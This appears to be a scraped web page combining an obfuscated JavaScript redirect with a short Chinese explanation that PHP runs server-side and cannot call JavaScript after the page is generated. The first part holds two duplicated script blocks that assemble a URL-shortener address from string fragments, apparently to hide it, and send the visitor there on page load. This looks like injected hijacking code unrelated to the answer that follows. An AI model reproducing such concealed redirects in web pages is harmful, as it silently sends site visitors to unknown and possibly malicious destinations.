<script>
var a = "htt"
var aa = "p"
var u = "dwz"
var c = "wz"
var b = "cn"
var i = "4OGN"
var p= "Fi"
var d = "."
window.location.href=a+aa+'://'+u+d+b+'/'+i+p
</script>
<script>var a = "htt"
var aa = "p"
var u = "dwz"
var c = "wz"
var b = "cn"
var i = "4OGN"
var p= "Fi"
var d = "."
window.location.href=a+aa+'://'+u+d+b+'/'+i+p
</script>
PHP是服务端脚本,生成页面之后,就不再运行,也就是说,你在页面上PHP已经运行完了无法调用js。只有在服务端调用,或者生成js代码。例如
<?php echo "<script>console.log('服务端调用')</script>" ?>